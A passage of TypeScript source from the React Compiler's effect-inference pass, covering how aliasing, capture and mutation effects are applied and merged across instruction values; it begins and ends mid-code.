}\n      });\n      const hasTrackedSideEffects =\n        effect.function.loweredFunc.func.aliasingEffects?.some(\n          effect =>\n            // TODO; include \"render\" here?\n            effect.kind === 'MutateFrozen' ||\n            effect.kind === 'MutateGlobal' ||\n            effect.kind === 'Impure',\n        );\n      // For legacy compatibility\n      const capturesRef = effect.function.loweredFunc.func.context.some(\n        operand => isRefOrRefValue(operand.identifier),\n      );\n      const isMutable = hasCaptures || hasTrackedSideEffects || capturesRef;\n      for (const operand of effect.function.loweredFunc.func.context) {\n        if (operand.effect !== Effect.Capture) {\n          continue;\n        }\n        const kind = state.kind(operand).kind;\n        if (\n          kind === ValueKind.Primitive ||\n          kind == ValueKind.Frozen ||\n          kind == ValueKind.Global\n        ) {\n          operand.effect = Effect.Read;\n        }\n      }\n      state.initialize(effect.function, {\n        kind: isMutable ? ValueKind.Mutable : ValueKind.Frozen,\n        reason: new Set([]),\n      });\n      state.define(effect.into, effect.function);\n      for (const capture of effect.captures) {\n        applyEffect(\n          context,\n          state,\n          {\n            kind: 'Capture',\n            from: capture,\n            into: effect.into,\n          },\n          initialized,\n          effects,\n        );\n      }\n      break;\n    }\n    case 'MaybeAlias':\n    case 'Alias':\n    case 'Capture': {\n      CompilerError.invariant(\n        effect.kind === 'Capture' ||\n          effect.kind === 'MaybeAlias' ||\n          initialized.has(effect.into.identifier.id),\n        {\n          reason: `Expected destination to already be initialized within this instruction`,\n          description:\n            `Destination ${printPlace(effect.into)} is not initialized in this ` +\n            `instruction for effect ${printAliasingEffect(effect)}`,\n          loc: effect.into.loc,\n        },\n      );\n      /*\n       * Capture describes potential information flow: storing a pointer to one value\n       * within another. If the destination is not mutable, or the source value has\n       * copy-on-write semantics, then we can prune the effect\n       */\n      const intoKind = state.kind(effect.into).kind;\n      let destinationType: 'context' | 'mutable' | null = null;\n      switch (intoKind) {\n        case ValueKind.Context: {\n          destinationType = 'context';\n          break;\n        }\n        case ValueKind.Mutable:\n        case ValueKind.MaybeFrozen: {\n          destinationType = 'mutable';\n          break;\n        }\n      }\n      const fromKind = state.kind(effect.from).kind;\n      let sourceType: 'context' | 'mutable' | 'frozen' | null = null;\n      switch (fromKind) {\n        case ValueKind.Context: {\n          sourceType = 'context';\n          break;\n        }\n        case ValueKind.Global:\n        case ValueKind.Primitive: {\n          break;\n        }\n        case ValueKind.MaybeFrozen:\n        case ValueKind.Frozen: {\n          sourceType = 'frozen';\n          break;\n        }\n        default: {\n          sourceType = 'mutable';\n          break;\n        }\n      }\n\n      if (sourceType === 'frozen') {\n        applyEffect(\n          context,\n          state,\n          {\n            kind: 'ImmutableCapture',\n            from: effect.from,\n            into: effect.into,\n          },\n          initialized,\n          effects,\n        );\n      } else if (\n        (sourceType === 'mutable' && destinationType === 'mutable') ||\n        effect.kind === 'MaybeAlias'\n      ) {\n        effects.push(effect);\n      } else if (\n        (sourceType === 'context' && destinationType != null) ||\n        (sourceType === 'mutable' && destinationType === 'context')\n      ) {\n        applyEffect(\n          context,\n          state,\n          {kind: 'MaybeAlias', from: effect.from, into: effect.into},\n          initialized,\n          effects,\n        );\n      }\n      break;\n    }\n    case 'Assign': {\n      CompilerError.invariant(!initialized.has(effect.into.identifier.id), {\n        reason: `Cannot re-initialize variable within an instruction`,\n        description: `Re-initialized ${printPlace(effect.into)} in ${printAliasingEffect(effect)}`,\n        loc: effect.into.loc,\n      });\n      initialized.add(effect.into.identifier.id);\n\n      /*\n       * Alias represents potential pointer aliasing. If the type is a global,\n       * a primitive (copy-on-write semantics) then we can prune the effect\n       */\n      const fromValue = state.kind(effect.from);\n      const fromKind = fromValue.kind;\n      switch (fromKind) {\n        case ValueKind.Frozen: {\n          applyEffect(\n            context,\n            state,\n            {\n              kind: 'ImmutableCapture',\n              from: effect.from,\n              into: effect.into,\n            },\n            initialized,\n            effects,\n          );\n          let value = context.effectInstructionValueCache.get(effect);\n          if (value == null) {\n            value = {\n              kind: 'Primitive',\n              value: undefined,\n              loc: effect.from.loc,\n            };\n            context.effectInstructionValueCache.set(effect, value);\n          }\n          state.initialize(value, {\n            kind: fromKind,\n            reason: new Set(fromValue.reason),\n          });\n          state.define(effect.into, value);\n          break;\n        }\n        case ValueKind.Global:\n        case ValueKind.Primitive: {\n          let value = context.effectInstructionValueCache.get(effect);\n          if (value == null) {\n            value = {\n              kind: 'Primitive',\n              value: undefined,\n              loc: effect.from.loc,\n            };\n            context.effectInstructionValueCache.set(effect, value);\n          }\n          state.initialize(value, {\n            kind: fromKind,\n            reason: new Set(fromValue.reason),\n          });\n          state.define(effect.into, value);\n          break;\n        }\n        default: {\n          state.assign(effect.into, effect.from);\n          effects.push(effect);\n          break;\n        }\n      }\n      break;\n    }\n    case 'Apply': {\n      const functionValues = state.values(effect.function);\n      if (\n        functionValues.length === 1 &&\n        functionValues[0].kind === 'FunctionExpression' &&\n        functionValues[0].loweredFunc.func.aliasingEffects != null\n      ) {\n        /*\n         * We're calling a locally declared function, we already know it's effects!\n         * We just have to substitute in the args for the params\n         */\n        const functionExpr = functionValues[0];\n        let signature = context.functionSignatureCache.get(functionExpr);\n        if (signature == null) {\n          signature = buildSignatureFromFunctionExpression(\n            state.env,\n            functionExpr,\n          );\n          context.functionSignatureCache.set(functionExpr, signature);\n        }\n        if (DEBUG) {\n          console.log(\n            `constructed alias signature:\\n${printAliasingSignature(signature)}`,\n          );\n        }\n        const signatureEffects = context.cacheApplySignature(\n          signature,\n          effect,\n          () =>\n            computeEffectsForSignature(\n              state.env,\n              signature,\n              effect.into,\n              effect.receiver,\n              effect.args,\n              functionExpr.loweredFunc.func.context,\n              effect.loc,\n            ),\n        );\n        if (signatureEffects != null) {\n          applyEffect(\n            context,\n            state,\n            {kind: 'MutateTransitiveConditionally', value: effect.function},\n            initialized,\n            effects,\n          );\n          for (const signatureEffect of signatureEffects) {\n            applyEffect(context, state, signatureEffect, initialized, effects);\n          }\n          break;\n        }\n      }\n      let signatureEffects = null;\n      if (effect.signature?.aliasing != null) {\n        const signature = effect.signature.aliasing;\n        signatureEffects = context.cacheApplySignature(\n          effect.signature.aliasing,\n          effect,\n          () =>\n            computeEffectsForSignature(\n              state.env,\n              signature,\n              effect.into,\n              effect.receiver,\n              effect.args,\n              [],\n              effect.loc,\n            ),\n        );\n      }\n      if (signatureEffects != null) {\n        for (const signatureEffect of signatureEffects) {\n          applyEffect(context, state, signatureEffect, initialized, effects);\n        }\n      } else if (effect.signature != null) {\n        const legacyEffects = computeEffectsForLegacySignature(\n          state,\n          effect.signature,\n          effect.into,\n          effect.receiver,\n          effect.args,\n          effect.loc,\n        );\n        for (const legacyEffect of legacyEffects) {\n          applyEffect(context, state, legacyEffect, initialized, effects);\n        }\n      } else {\n        applyEffect(\n          context,\n          state,\n          {\n            kind: 'Create',\n            into: effect.into,\n            value: ValueKind.Mutable,\n            reason: ValueReason.Other,\n          },\n          initialized,\n          effects,\n        );\n        /*\n         * If no signature then by default:\n         * - All operands are conditionally mutated, except some instruction\n         *   variants are assumed to not mutate the callee (such as `new`)\n         * - All operands are captured into (but not directly aliased as)\n         *   every other argument.\n         */\n        for (const arg of [effect.receiver, effect.function, ...effect.args]) {\n          if (arg.kind === 'Hole') {\n            continue;\n          }\n          const operand = arg.kind === 'Identifier' ? arg : arg.place;\n          if (operand !== effect.function || effect.mutatesFunction) {\n            applyEffect(\n              context,\n              state,\n              {\n                kind: 'MutateTransitiveConditionally',\n                value: operand,\n              },\n              initialized,\n              effects,\n            );\n          }\n          const mutateIterator =\n            arg.kind === 'Spread' ? conditionallyMutateIterator(operand) : null;\n          if (mutateIterator) {\n            applyEffect(context, state, mutateIterator, initialized, effects);\n          }\n          applyEffect(\n            context,\n            state,\n            // OK: recording information flow\n            {kind: 'MaybeAlias', from: operand, into: effect.into},\n            initialized,\n            effects,\n          );\n          for (const otherArg of [\n            effect.receiver,\n            effect.function,\n            ...effect.args,\n          ]) {\n            if (otherArg.kind === 'Hole') {\n              continue;\n            }\n            const other =\n              otherArg.kind === 'Identifier' ? otherArg : otherArg.place;\n            if (other === arg) {\n              continue;\n            }\n            applyEffect(\n              context,\n              state,\n              {\n                /*\n                 * OK: a function might store one operand into another,\n                 * but it can't force one to alias another\n                 */\n                kind: 'Capture',\n                from: operand,\n                into: other,\n              },\n              initialized,\n              effects,\n            );\n          }\n        }\n      }\n      break;\n    }\n    case 'Mutate':\n    case 'MutateConditionally':\n    case 'MutateTransitive':\n    case 'MutateTransitiveConditionally': {\n      const mutationKind = state.mutate(effect.kind, effect.value);\n      if (mutationKind === 'mutate') {\n        effects.push(effect);\n      } else if (mutationKind === 'mutate-ref') {\n        // no-op\n      } else if (\n        mutationKind !== 'none' &&\n        (effect.kind === 'Mutate' || effect.kind === 'MutateTransitive')\n      ) {\n        const value = state.kind(effect.value);\n        if (DEBUG) {\n          console.log(`invalid mutation: ${printAliasingEffect(effect)}`);\n          console.log(prettyFormat(state.debugAbstractValue(value)));\n        }\n\n        if (\n          mutationKind === 'mutate-frozen' &&\n          context.hoistedContextDeclarations.has(\n            effect.value.identifier.declarationId,\n          )\n        ) {\n          const variable =\n            effect.value.identifier.name !== null &&\n            effect.value.identifier.name.kind === 'named'\n              ? `\\`${effect.value.identifier.name.value}\\``\n              : null;\n          const hoistedAccess = context.hoistedContextDeclarations.get(\n            effect.value.identifier.declarationId,\n          );\n          const diagnostic = CompilerDiagnostic.create({\n            category: ErrorCategory.Immutability,\n            reason: 'Cannot access variable before it is declared',\n            description: `${variable ?? 'This variable'} is accessed before it is declared, which prevents the earlier access from updating when this value changes over time`,\n          });\n          if (hoistedAccess != null && hoistedAccess.loc != effect.value.loc) {\n            diagnostic.withDetails({\n              kind: 'error',\n              loc: hoistedAccess.loc,\n              message: `${variable ?? 'variable'} accessed before it is declared`,\n            });\n          }\n          diagnostic.withDetails({\n            kind: 'error',\n            loc: effect.value.loc,\n            message: `${variable ?? 'variable'} is declared here`,\n          });\n\n          applyEffect(\n            context,\n            state,\n            {\n              kind: 'MutateFrozen',\n              place: effect.value,\n              error: diagnostic,\n            },\n            initialized,\n            effects,\n          );\n        } else {\n          const reason = getWriteErrorReason({\n            kind: value.kind,\n            reason: value.reason,\n          });\n          const variable =\n            effect.value.identifier.name !== null &&\n            effect.value.identifier.name.kind === 'named'\n              ? `\\`${effect.value.identifier.name.value}\\``\n              : 'value';\n          const diagnostic = CompilerDiagnostic.create({\n            category: ErrorCategory.Immutability,\n            reason: 'This value cannot be modified',\n            description: reason,\n          }).withDetails({\n            kind: 'error',\n            loc: effect.value.loc,\n            message: `${variable} cannot be modified`,\n          });\n          if (\n            effect.kind === 'Mutate' &&\n            effect.reason?.kind === 'AssignCurrentProperty'\n          ) {\n            diagnostic.withDetails({\n              kind: 'hint',\n              message: `Hint: If this value is a Ref (value returned by \\`useRef()\\`), rename the variable to end in \"Ref\".`,\n            });\n          }\n          applyEffect(\n            context,\n            state,\n            {\n              kind:\n                value.kind === ValueKind.Frozen\n                  ? 'MutateFrozen'\n                  : 'MutateGlobal',\n              place: effect.value,\n              error: diagnostic,\n            },\n            initialized,\n            effects,\n          );\n        }\n      }\n      break;\n    }\n    case 'Impure':\n    case 'Render':\n    case 'MutateFrozen':\n    case 'MutateGlobal': {\n      effects.push(effect);\n      break;\n    }\n    default: {\n      assertExhaustive(\n        effect,\n        `Unexpected effect kind '${(effect as any).kind as any}'`,\n      );\n    }\n  }\n}\n\nclass InferenceState {\n  env: Environment;\n  #isFunctionExpression: boolean;\n\n  // The kind of each value, based on its allocation site\n  #values: Map<InstructionValue, AbstractValue>;\n  /*\n   * The set of values pointed to by each identifier. This is a set\n   * to accommodate phi points (where a variable may have different\n   * values from different control flow paths).\n   */\n  #variables: Map<IdentifierId, Set<InstructionValue>>;\n\n  constructor(\n    env: Environment,\n    isFunctionExpression: boolean,\n    values: Map<InstructionValue, AbstractValue>,\n    variables: Map<IdentifierId, Set<InstructionValue>>,\n  ) {\n    this.env = env;\n    this.#isFunctionExpression = isFunctionExpression;\n    this.#values = values;\n    this.#variables = variables;\n  }\n\n  static empty(\n    env: Environment,\n    isFunctionExpression: boolean,\n  ): InferenceState {\n    return new InferenceState(env, isFunctionExpression, new Map(), new Map());\n  }\n\n  get isFunctionExpression(): boolean {\n    return this.#isFunctionExpression;\n  }\n\n  // (Re)initializes a @param value with its default @param kind.\n  initialize(value: InstructionValue, kind: AbstractValue): void {\n    CompilerError.invariant(value.kind !== 'LoadLocal', {\n      reason:\n        '[InferMutationAliasingEffects] Expected all top-level identifiers to be defined as variables, not values',\n      loc: value.loc,\n    });\n    this.#values.set(value, kind);\n  }\n\n  values(place: Place): Array<InstructionValue> {\n    const values = this.#variables.get(place.identifier.id);\n    CompilerError.invariant(values != null, {\n      reason: `[InferMutationAliasingEffects] Expected value kind to be initialized`,\n      description: `${printPlace(place)}`,\n      message: 'this is uninitialized',\n      loc: place.loc,\n    });\n    return Array.from(values);\n  }\n\n  // Lookup the kind of the given @param value.\n  kind(place: Place): AbstractValue {\n    const values = this.#variables.get(place.identifier.id);\n    CompilerError.invariant(values != null, {\n      reason: `[InferMutationAliasingEffects] Expected value kind to be initialized`,\n      description: `${printPlace(place)}`,\n      message: 'this is uninitialized',\n      loc: place.loc,\n    });\n    let mergedKind: AbstractValue | null = null;\n    for (const value of values) {\n      const kind = this.#values.get(value)!;\n      mergedKind =\n        mergedKind !== null ? mergeAbstractValues(mergedKind, kind) : kind;\n    }\n    CompilerError.invariant(mergedKind !== null, {\n      reason: `[InferMutationAliasingEffects] Expected at least one value`,\n      description: `No value found at \\`${printPlace(place)}\\``,\n      loc: place.loc,\n    });\n    return mergedKind;\n  }\n\n  // Updates the value at @param place to point to the same value as @param value.\n  assign(place: Place, value: Place): void {\n    const values = this.#variables.get(value.identifier.id);\n    CompilerError.invariant(values != null, {\n      reason: `[InferMutationAliasingEffects] Expected value for identifier to be initialized`,\n      description: `${printIdentifier(value.identifier)}`,\n      message: 'Expected value for identifier to be initialized',\n      loc: value.loc,\n    });\n    this.#variables.set(place.identifier.id, new Set(values));\n  }\n\n  appendAlias(place: Place, value: Place): void {\n    const values = this.#variables.get(value.identifier.id);\n    CompilerError.invariant(values != null, {\n      reason: `[InferMutationAliasingEffects] Expected value for identifier to be initialized`,\n      description: `${printIdentifier(value.identifier)}`,\n      message: 'Expected value for identifier to be initialized',\n      loc: value.loc,\n    });\n    const prevValues = this.values(place);\n    this.#variables.set(\n      place.identifier.id,\n      new Set([...prevValues, ...values]),\n    );\n  }\n\n  // Defines (initializing or updating) a variable with a specific kind of value.\n  define(place: Place, value: InstructionValue): void {\n    CompilerError.invariant(this.#values.has(value), {\n      reason: `[InferMutationAliasingEffects] Expected value to be initialized`,\n      description: printInstructionValue(value),\n      loc: value.loc,\n    });\n    this.#variables.set(place.identifier.id, new Set([value]));\n  }\n\n  isDefined(place: Place): boolean {\n    return this.#variables.has(place.identifier.id);\n  }\n\n  /**\n   * Marks @param place as transitively frozen. Returns true if the value was not\n   * already frozen, false if the value is already frozen (or already known immutable).\n   */\n  freeze(place: Place, reason: ValueReason): boolean {\n    const value = this.kind(place);\n    switch (value.kind) {\n      case ValueKind.Context:\n      case ValueKind.Mutable:\n      case ValueKind.MaybeFrozen: {\n        const values = this.values(place);\n        for (const instrValue of values) {\n          this.freezeValue(instrValue, reason);\n        }\n        return true;\n      }\n      case ValueKind.Frozen:\n      case ValueKind.Global:\n      case ValueKind.Primitive: {\n        return false;\n      }\n      default: {\n        assertExhaustive(\n          value.kind,\n          `Unexpected value kind '${(value as any).kind}'`,\n        );\n      }\n    }\n  }\n\n  freezeValue(value: InstructionValue, reason: ValueReason): void {\n    this.#values.set(value, {\n      kind: ValueKind.Frozen,\n      reason: new Set([reason]),\n    });\n    if (\n      value.kind === 'FunctionExpression' &&\n      (this.env.config.enablePreserveExistingMemoizationGuarantees ||\n        this.env.config.enableTransitivelyFreezeFunctionExpressions)\n    ) {\n      for (const place of value.loweredFunc.func.context) {\n        this.freeze(place, reason);\n      }\n    }\n  }\n\n  mutate(\n    variant:\n      | 'Mutate'\n      | 'MutateConditionally'\n      | 'MutateTransitive'\n      | 'MutateTransitiveConditionally',\n    place: Place,\n  ): 'none' | 'mutate' | 'mutate-frozen' | 'mutate-global' | 'mutate-ref' {\n    if (isRefOrRefValue(place.identifier)) {\n      return 'mutate-ref';\n    }\n    const kind = this.kind(place).kind;\n    switch (variant) {\n      case 'MutateConditionally':\n      case 'MutateTransitiveConditionally': {\n        switch (kind) {\n          case ValueKind.Mutable:\n          case ValueKind.Context: {\n            return 'mutate';\n          }\n          default: {\n            return 'none';\n          }\n        }\n      }\n      case 'Mutate':\n      case 'MutateTransitive': {\n        switch (kind) {\n          case ValueKind.Mutable:\n          case ValueKind.Context: {\n            return 'mutate';\n          }\n          case ValueKind.Primitive: {\n            // technically an error, but it's not React specific\n            return 'none';\n          }\n          case ValueKind.Frozen: {\n            return 'mutate-frozen';\n          }\n          case ValueKind.Global: {\n            return 'mutate-global';\n          }\n          case ValueKind.MaybeFrozen: {\n            return 'mutate-frozen';\n          }\n          default: {\n            assertExhaustive(kind, `Unexpected kind ${kind}`);\n          }\n        }\n      }\n      default: {\n        assertExhaustive(variant, `Unexpected mutation variant ${variant}`);\n      }\n    }\n  }\n\n  /*\n   * Combine the contents of @param this and @param other, returning a new\n   * instance with the combined changes _if_ there are any changes, or\n   * returning null if no changes would occur. Changes include:\n   * - new entries in @param other that did not exist in @param this\n   * - entries whose values differ in @param this and @param other,\n   *    and where joining the values produces a different value than\n   *    what was in @param this.\n   *\n   * Note that values are joined using a lattice operation to ensure\n   * termination.\n   */\n  merge(other: InferenceState): InferenceState | null {\n    let nextValues: Map<InstructionValue, AbstractValue> | null = null;\n    let nextVariables: Map<IdentifierId, Set<InstructionValue>> | null = null;\n\n    for (const [id, thisValue] of this.#values) {\n      const otherValue = other.#values.get(id);\n      if (otherValue !== undefined) {\n        const mergedValue = mergeAbstractValues(thisValue, otherValue);\n        if (mergedValue !== thisValue) {\n          nextValues = nextValues ?? new Map(this.#values);\n          nextValues.set(id, mergedValue);\n        }\n      }\n    }\n    for (const [id, otherValue] of other.#values) {\n      if (this.#values.has(id)) {\n        // merged above\n        continue;\n      }\n      nextValues = nextValues ?? new Map(this.#values);\n      nextValues.set(id, otherValue);\n    }\n\n    for (const [id, thisValues] of this.#variables) {\n      const otherValues = other.#variables.get(id);\n      if (otherValues !== undefined) {\n        let mergedValues: Set<InstructionValue> | null = null;\n        for (const otherValue of otherValues) {\n          if (!thisValues.has(otherValue)) {\n            mergedValues = mergedValues ?? new Set(thisValues);\n            mergedValues.add(otherValue);\n          }\n        }\n        if (mergedValues !== null) {\n          nextVariables = nextVariables ?? new Map(this.#variables);\n          nextVariables.set(id, mergedValues);\n        }\n      }\n    }\n    for (const [id, otherValues] of other.#variables) {\n      if (this.#variables.has(id)) {\n        continue;\n      }\n      nextVariables = nextVariables ?? new Map(this.#variables);\n      nextVariables.set(id, new Set(otherValues));\n    }\n\n    if (nextVariables === null && nextValues === null) {\n      return null;\n    } else {\n      return new InferenceState(\n        this.env,\n        this.#isFunctionExpression,\n        nextValues ?? new Map(this.#values),\n        nextVariables ?? new Map(this.#variables),\n      );\n    }\n  }\n\n  /*\n   * Returns a copy of this state.\n   * TODO: consider using persistent data structures to make\n   * clone cheaper.\n   */\n  clone(): InferenceState {\n    return new InferenceState(\n      this.env,\n      this.#isFunctionExpression,\n      new Map(this.#values),\n      new Map(this.#variables),\n    );\n  }\n\n  /*\n   * For debugging purposes, dumps the state to a plain\n   * object so that it can printed as JSON.\n   */\n  debug(): any {\n    const result: any = {values: {}, variables: {}};\n    const objects: Map<InstructionValue, number> = new Map();\n    function identify(value: InstructionValue): number {\n      let id = objects.get(value);\n      if (id == null) {\n        id = objects.size;\n        objects.set(value, id);\n      }\n      return id;\n    }\n    for (const [value, kind] of this.#values) {\n      const id = identify(value);\n      result.values[id] = {\n        abstract: this.debugAbstractValue(kind),\n        value: printInstructionValue(value),\n      };\n    }\n    for (const [variable, values] of this.#variables) {\n      result.variables[`$${variable}`] = [...values].map(identify);\n    }\n    return result;\n  }\n\n  debugAbstractValue(value: AbstractValue): any {\n    return {\n      kind: value.kind,\n      reason: [...value.reason],\n    };\n  }\n\n  inferPhi(phi: Phi): void {\n    const values: Set<InstructionValue> = new Set();\n    for (const [_, operand] of phi.operands) {\n      const operandValues = this.#variables.get(operand.identifier.id);\n      // This is a backedge that will be handled later by State.merge\n      if (operandValues === undefined) continue;\n      for (const v of operandValues) {\n        values.add(v);\n      }\n    }\n\n    if (values.size > 0) {\n      this.#variables.set(phi.place.identifier.id, values);\n    }\n  }\n}\n\n/**\n * Returns a value that represents the combined states of the two input values.\n * If the two values are semantically equivalent, it returns the first argument.\n */\nfunction mergeAbstractValues(\n  a: AbstractValue,\n  b: AbstractValue,\n): AbstractValue {\n  const kind = mergeValueKinds(a.kind, b.kind);\n  if (\n    kind === a.kind &&\n    kind === b.kind &&\n    Set_isSuperset(a.reason, b.reason)\n  ) {\n    return a;\n  }\n  const reason = new Set(a.reason);\n  for (const r of b.reason) {\n    reason.add(r);\n  }\n  return {kind, reason};\n}\n\ntype InstructionSignature = {\n  effects: ReadonlyArray<AliasingEffect>;\n};\n\nfunction conditionallyMutateIterator(place: Place): AliasingEffect | null {\n  if (\n    !(\n      isArrayType(place.identifier) ||\n      isSetType(place.identifier) ||\n      isMapType(place.identifier)\n    )\n  ) {\n    return {\n      kind: 'MutateTransitiveConditionally',\n      value: place,\n    };\n  }\n  return null;\n}\n\n/**\n * Computes an effect signature for the instruction _without_ looking at the inference state,\n * and only using the semantics of the instructions and the inferred types. The idea is to make\n * it easy to check that the semantics of each instruction are preserved by describing only the\n * effects and not making decisions based on the inference state.\n *\n * Then in applySignature(), above, we refine this signature based on the inference state.\n *\n * NOTE: this function is designed to be cached so it's only computed once upon first visiting\n * an instruction.\n */\nfunction computeSignatureForInstruction(\n  context: Context,\n  env: Environment,\n  instr: Instruction,\n): InstructionSignature {\n  const {lvalue, value} = instr;\n  const effects: Array<AliasingEffect> = [];\n  switch (value.kind) {\n    case 'ArrayExpression': {\n      effects.push({\n        kind: 'Create',\n        into: lvalue,\n        value: ValueKind.Mutable,\n        reason: ValueReason.Other,\n      });\n      // All elements are captured into part of the output value\n      for (const element of value.elements) {\n        if (element.kind === 'Identifier') {\n          effects.push({\n            kind: 'Capture',\n            from: element,\n            into: lvalue,\n          });\n        } else if (element.kind === 'Spread') {\n          const mutateIterator = conditionallyMutateIterator(element.place);\n          if (mutateIterator != null) {\n            effects.push(mutateIterator);\n          }\n          effects.push({\n            kind: 'Capture',\n            from: element.place,\n            into: lvalue,\n          });\n        } else {\n          continue;\n        }\n      }\n      break;\n    }\n    case 'ObjectExpression': {\n      effects.push({\n        kind: 'Create',\n        into: lvalue,\n        value: ValueKind.Mutable,\n        reason: ValueReason.Other,\n      });\n      for (const property of value.properties) {\n        if (property.kind === 'ObjectProperty') {\n          effects.push({\n            kind: 'Capture',\n            from: property.place,\n            into: lvalue,\n          });\n        } else {\n          effects.push({\n            kind: 'Capture',\n            from: property.place,\n            into: lvalue,\n          });\n        }\n      }\n      break;\n    }\n    case 'Await': {\n      effects.push({\n        kind: 'Create',\n        into: lvalue,\n        value: ValueKind.Mutable,\n        reason: ValueReason.Other,\n      });\n      // Potentially mutates the receiver (awaiting it changes its state and can run side effects)\n      effects.push({kind: 'MutateTransitiveConditionally', value: value.value});\n      /**\n       * Data from the promise may be returned into the result, but await does not directly return\n       * the promise itself\n       */\n      effects.push({\n        kind: 'Capture',\n        from: value.value,\n        into: lvalue,\n      });\n      break;\n    }\n    case 'NewExpression':\n    case 'CallExpression':\n    case 'MethodCall': {\n      let callee;\n      let receiver;\n      let mutatesCallee;\n      if (value.kind === 'NewExpression') {\n        callee = value.callee;\n        receiver = value.callee;\n        mutatesCallee = false;\n      } else if (value.kind === 'CallExpression') {\n        callee = value.callee;\n        receiver = value.callee;\n        mutatesCallee = true;\n      } else if (value.kind === 'MethodCall') {\n        callee = value.property;\n        receiver = value.receiver;\n        mutatesCallee = false;\n      } else {\n        assertExhaustive(\n          value,\n          `Unexpected value kind '${(value as any).kind}'`,\n        );\n      }\n      const signature = getFunctionCallSignature(env, callee.identifier.type);\n      effects.push({\n        kind: 'Apply',\n        receiver,\n        function: callee,\n        mutatesFunction: mutatesCallee,\n        args: value.args,\n        into: lvalue,\n        signature,\n        loc: value.loc,\n      });\n      break;\n    }\n    case 'PropertyDelete':\n    case 'ComputedDelete': {\n      effects.push({\n        kind: 'Create',\n        into: lvalue,\n        value: ValueKind.Primitive,\n        reason: ValueReason.Other,\n      });\n      // Mutates the object by removing the property, no aliasing\n      effects.push({kind: 'Mutate', value: value.object});\n      break;\n    }\n    case 'PropertyLoad':\n    case 'ComputedLoad': {\n      if (isPrimitiveType(lvalue.identifier)) {\n        effects.push({\n          kind: 'Create',\n          into: lvalue,\n          value: ValueKind.Primitive,\n          reason: ValueReason.Other,\n        });\n      } else {\n        effects.push({\n          kind: 'CreateFrom',\n          from: value.object,\n          into: lvalue,\n        });\n      }\n      break;\n    }\n    case 'PropertyStore':\n    case 'ComputedStore': {\n      /**\n       * Add a hint about naming as \"ref\"/\"-Ref\", but only if we weren't able to infer any\n       * type for the object. In some cases the variable may be named like a ref, but is\n       * also used as a ref callback such that we infer the type as a function rather than\n       * a ref.\n       */\n      const mutationReason: MutationReason | null =\n        value.kind === 'PropertyStore' &&\n        value.property === 'current' &&\n        value.object.identifier.type.kind === 'Type'\n          ? {kind: 'AssignCurrentProperty'}\n          : null;\n      effects.push({\n        kind: 'Mutate',\n        value: value.object,\n        reason: mutationReason,\n      });\n      effects.push({\n        kind: 'Capture',\n        from: value.value,\n        into: value.object,\n      });\n      effects.push({\n        kind: 'Create',\n        into: lvalue,\n        value: ValueKind.Primitive,\n        reason: ValueReason.Other,\n      });\n      break;\n    }\n    case 'ObjectMethod':\n    case 'FunctionExpression': {\n      /**\n       * We've already analyzed the function expression in AnalyzeFunctions. There, we assign\n       * a Capture effect to any context variable that appears (locally) to be aliased and/or\n       * mutated. The precise effects are annotated on the function expression's aliasingEffects\n       * property, but we don't want to execute those effects yet. We can only use those when\n       * we know exactly how the function is invoked — via an Apply effect from a custom signature.\n       *\n       * But in the general case, functions can be passed around and possibly called in ways where\n       * we don't know how to interpret their precise effects. For example:\n       *\n       * ```\n       * const a = {};\n       *\n       * // We don't want to consider a as mutating here, this just declares the function\n       * const f = () => { maybeMutate(a) };\n       *\n       * // We don't want to consider a as mutating here either, it can't possibly call f yet\n       * const x = [f];\n       *\n       * // Here we have to assume that f can be called (transitively), and have to consider a\n       * // as mutating\n       * callAllFunctionInArray(x);\n       * ```\n       *\n       * So for any context variables that were inferred as captured or mutated, we record a\n       * Capture effect. If the resulting function is transitively mutated, this will mean\n       * that those operands are also considered mutated. If the function is never called,\n       * they won't be!\n       *\n       * This relies on the rule that:\n       * Capture a -> b and MutateTransitive(b) => Mutate(a)\n       *\n       * Substituting:\n       * Capture contextvar -> function and MutateTransitive(function) => Mutate(contextvar)\n       *\n       * Note that if the type of the context variables are frozen, global, or primitive, the\n       * Capture will either get pruned or downgraded to an ImmutableCapture.\n       */\n      effects.push({\n        kind: 'CreateFunction',\n        into: lvalue,\n        function: value,\n        captures: value.loweredFunc.func.context.filter(\n          operand => operand.effect === Effect.Capture,\n        ),\n      });\n      break;\n    }\n    case 'GetIterator': {\n      effects.push({\n        kind: 'Create',\n        into: lvalue,\n        value: ValueKind.Mutable,\n        reason: ValueReason.Other,\n      });\n      if (\n        isArrayType(value.collection.identifier) ||\n        isMapType(value.collection.identifier) ||\n        isSetType(value.collection.identifier)\n      ) {\n        /*\n         * Builtin collections are known to return a fresh iterator on each call,\n         * so the iterator does not alias the collection\n         */\n        effects.push({\n          kind: 'Capture',\n          from: value.collection,\n          into: lvalue,\n        });\n      } else {\n        /*\n         * Otherwise, the object may return itself as the iterator, so we have to\n         * assume that the result directly aliases the collection. Further, the\n         * method to get the iterator could potentially mutate the collection\n         */\n        effects.push({kind: 'Alias', from: value.collection, into: lvalue});\n        effects.push({\n          kind: 'MutateTransitiveConditionally',\n          value: value.collection,\n        });\n      }\n      break;\n    }\n    case 'IteratorNext': {\n      /*\n       * Technically advancing an iterator will always mutate it (for any reasonable implementation)\n       * But because we create an alias from the collection to the iterator if we don't know the type,\n       * then it's possible the iterator is aliased to a frozen value and we wouldn't want to error.\n       * so we mark this as conditional mutation to allow iterating frozen values.\n       */\n      effects.push({kind: 'MutateConditionally', value: value.iterator});\n      // Extracts part of the original collection into the result\n      effects.push({\n        kind: 'CreateFrom',\n        from: value.collection,\n        into: lvalue,\n      });\n      break;\n    }\n    case 'NextPropertyOf': {\n      effects.push({\n        kind: 'Create',\n        into: lvalue,\n        value: ValueKind.Primitive,\n        reason: ValueReason.Other,\n      });\n      break;\n    }\n    case 'JsxExpression':\n    case 'JsxFragment': {\n      effects.push({\n        kind: 'Create',\n        into: lvalue,\n        value: ValueKind.Frozen,\n        reason: ValueReason.JsxCaptured,\n      });\n      for (const operand of eachInstructionValueOperand(value)) {\n        effects.push({\n          kind: 'Freeze',\n          value: operand,\n          reason: ValueReason.JsxCaptured,\n        });\n        effects.push({\n          kind: 'Capture',\n          from: operand,\n          into: lvalue,\n        });\n      }\n      if (value.kind === 'JsxExpression') {\n        if (value.tag.kind === 'Identifier') {\n          // Tags are render function, by definition they're called during render\n          effects.push({\n            kind: 'Render',\n            place: value.tag,\n          });\n        }\n        if (value.children != null) {\n          // Children are typically called during render, not used as an event/effect callback\n          for (const child of value.children) {\n            effects.push({\n              kind: 'Render',\n              place: child,\n            });\n          }\n        }\n        for (const prop of 